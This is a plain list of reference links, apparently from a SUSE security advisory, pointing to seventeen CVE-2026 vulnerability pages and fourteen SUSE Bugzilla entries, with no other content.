suse.com/security/cve/CVE-2026-65903
suse.com/security/cve/CVE-2026-65912
suse.com/security/cve/CVE-2026-65913
suse.com/security/cve/CVE-2026-65914
suse.com/security/cve/CVE-2026-67314
suse.com/security/cve/CVE-2026-67320
suse.com/security/cve/CVE-2026-6863
suse.com/security/cve/CVE-2026-69152
suse.com/security/cve/CVE-2026-6948
suse.com/security/cve/CVE-2026-73646
suse.com/security/cve/CVE-2026-7572
suse.com/security/cve/CVE-2026-7573
suse.com/security/cve/CVE-2026-84369
suse.com/security/cve/CVE-2026-84370
bugzilla.suse.com/1246822
bugzilla.suse.com/1259169
bugzilla.suse.com/1268851
bugzilla.suse.com/1269359
bugzilla.suse.com/1269514
bugzilla.suse.com/1269595
bugzilla.suse.com/1269927
bugzilla.suse.com/1272310
bugzilla.suse.com/1272311
bugzilla.suse.com/1272312
bugzilla.suse.com/1272313
bugzilla.suse.com/1272317
bugzilla.suse.com/1272318
bugzilla.suse.com/1272319
suse.com/security/cve/CVE-2026-13311
suse.com/security/cve/CVE-2026-40181
suse.com/security/cve/CVE-2026-54490
Left out here: the rest of 2 source descriptions. The JSON record has them.